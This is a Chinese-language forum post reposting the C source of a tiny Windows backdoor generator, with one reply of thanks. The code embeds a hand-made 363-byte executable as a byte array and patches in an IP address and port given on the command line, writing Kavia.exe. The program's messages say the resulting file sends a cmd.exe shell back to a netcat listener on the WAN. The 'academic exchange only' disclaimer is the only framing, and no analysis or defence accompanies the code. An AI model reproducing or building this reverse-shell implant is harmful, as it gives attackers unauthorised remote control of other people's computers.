搜尋


返回清單
切換到指定樓層
通知這文章過時或找檔案 發表主題

[其他] [源碼] 363字節,從正向連接後門

[複製連結]
SheepKingCN ( Lv.80 論壇達人 ) 發表於 2014-2-7 03:19:13 | 顯示全部樓層 |閱讀模式
  1. 此為本人備份文章用途,僅供學術交流用。
複製代碼
作者:
半斤八兩

博客:
http://hi.baidu.com/bjblcracked


日期:
2012-11-16  02:01
  1. 瑞士军刀nc你知道嗎?用那個工具監聽本地端口,就能得到CMDSHELL
複製代碼
03087bf40ad162d99eabeece11dfa9ec8b13cd9f.jpg
  1. #include <stdio.h>
  2. #include <windows.h>

  3. #define OFFSET_IP 98
  4. #define OFFSET_PORT 221
  5. #define OFFSET_BUFFER_SIZE 363

  6. UCHAR szBackDoor[] = {
  7.   0x4D, 0x5A, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00, 0x77, 0x73, 0x32, 0x5F,
  8.   0x33, 0x32, 0x2E, 0x44, 0x4C, 0x4C, 0x00, 0x00, 0x46, 0x00, 0x0F, 0x01, 0x0B, 0x01, 0x68, 0x0C,
  9.   0x00, 0x40, 0x00, 0xE8, 0x53, 0x1D, 0x40, 0x7C, 0x90, 0x90, 0xEB, 0x24, 0x1E, 0x00, 0x00, 0x00,
  10.   0x6A, 0x00, 0xEB, 0x1C, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x04, 0x00, 0x00, 0x00,
  11.   0x04, 0x00, 0x00, 0x00, 0xB2, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xEB, 0x10, 0x04, 0x00, 0x00, 0x00,
  12.   0xEB, 0x62, 0x00, 0x00, 0x77, 0xC3, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xEB, 0xD0,
  13.   0x02, 0x00, 0x31, 0x32, 0x37, 0x2E, 0x30, 0x2E, 0x30, 0x2E, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00,
  14.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  15.   0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  16.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  17.   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  18.   0x00, 0x00, 0x00, 0x00, 0x81, 0xEC, 0xF4, 0x01, 0x00, 0x00, 0x56, 0x8D, 0x44, 0x24, 0x68, 0x57,
  19.   0x50, 0x68, 0x02, 0x02, 0x00, 0x00, 0xE8, 0x8A, 0x69, 0x62, 0x71, 0x6A, 0x00, 0x6A, 0x00, 0x6A,
  20.   0x00, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0xE8, 0x8E, 0x8A, 0x62, 0x71, 0x68, 0x3E, 0x03, 0x00,
  21.   0x00, 0x8B, 0xF0, 0x66, 0xC7, 0x44, 0x24, 0x0C, 0x02, 0x00, 0xE8, 0x64, 0x2D, 0x62, 0x71, 0x68,
  22.   0x62, 0x00, 0x40, 0x00, 0x66, 0x89, 0x44, 0x24, 0x0E, 0xE8, 0xE3, 0x2D, 0x62, 0x71, 0x8D, 0x4C,
  23.   0x24, 0x08, 0x6A, 0x10, 0x51, 0x56, 0x89, 0x44, 0x24, 0x18, 0xE8, 0xF8, 0x48, 0x62, 0x71, 0xB9,
  24.   0x11, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x8D, 0x7C, 0x24, 0x18, 0x8D, 0x54, 0x24, 0x5C, 0xF3, 0xAB,
  25.   0x66, 0x89, 0x44, 0x24, 0x48, 0x8D, 0x44, 0x24, 0x18, 0x52, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A,
  26.   0x00, 0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x68, 0x80, 0x00, 0x40, 0x00, 0x6A, 0x00, 0xC7, 0x44,
  27.   0x24, 0x40, 0x44, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x6C, 0x01, 0x01, 0x00, 0x00, 0x89, 0xB4,
  28.   0x24, 0x80, 0x00, 0x00, 0x00, 0x89, 0x74, 0x24, 0x7C, 0x89, 0x74, 0x24, 0x78, 0xE8, 0x09, 0x22,
  29.   0x40, 0x7C, 0x5F, 0x5E, 0x81, 0xC4, 0xF4, 0x01, 0x00, 0x00, 0xC3
  30. };
複製代碼
  1. int main(int argc,char *argv[])
  2. {
  3.   FILE *tagFile;
  4.   CHAR szIP[15] = {0};
  5.   int nPort = 0;

  6.   system("color 0a & title 正向连接后门  By 半斤八兩");

  7.   puts("KaviaKaviaKaviaKaviaKaviaKaviaKaviaKaviaKaviaK");
  8.   puts("a                                            a");
  9.   puts("v            正向连接 (仅有363 Byte)         v");
  10.   puts("i           仅以此后门送给 [Kavia]           i");
  11.   puts("a              By 半斤八兩                   a");
  12.   puts("K      http://hi.baidu.com/bjblcracked       K");
  13.   puts("a                                            a");
  14.   puts("KaviaKaviaKaviaKaviaKaviaKaviaKaviaKaviaKaviaK");
  15.   puts("");

  16.   if(argc != 3)
  17.   {
  18.     puts("格式: Kavia.exe 你的IP 以及你的端口\r\n");

  19.     system("Pause");

  20.     return -1;
  21.   }

  22.   strcpy(szIP, argv[1]);

  23.   nPort = atoi(argv[2]);

  24.   ZeroMemory(szBackDoor + OFFSET_IP, sizeof(szIP));
  25.   memcpy(szBackDoor + OFFSET_IP, szIP, strlen(szIP));
  26.   memcpy(szBackDoor + OFFSET_PORT, &nPort, sizeof(int));

  27.   tagFile = fopen("Kavia.exe", "w");

  28.   fwrite(szBackDoor, OFFSET_BUFFER_SIZE, 1, tagFile);

  29.   puts("");
  30.   puts("恭喜! 生成成功 文件名[Kavia.exe] *^_^* !!!");
  31.   puts("请用瑞士军刀之类的工具, 监听本地端口...");
  32.   puts("注意, 要在WAN中监听, 不要在LAN环境中一阵乱监听 -_-~...");
  33.   puts("");

  34.   fclose(tagFile);

  35.   return 0;
  36. }
複製代碼
下載地址:
http://bbs.pediy.com/showthread.php?p=1126348#post1126348







大家正在看啥


回覆 使用道具 檢舉
複製專屬你的推廣連結:發至FB與各論壇宣傳:累積點數換GP商品 & 藍鑽
每五點閱率就可以兌換藍鑽積分或遊戲點卡 夢遊推廣文章換GP商品
叱血嶺 ( Lv.20 天使 ) 發表於 2014-2-7 21:26:34 | 顯示全部樓層
辛苦了!
回覆 使用道具 檢舉

你需要登入後才可以回覆 登入 | 加入會員

本版積分規則

Copyright (C) 2010-2020 夢遊電玩論壇

廣告合作:請直接聯繫我們,並附上您預刊登位置的預算。  

快速回覆 返回頂端 返回清單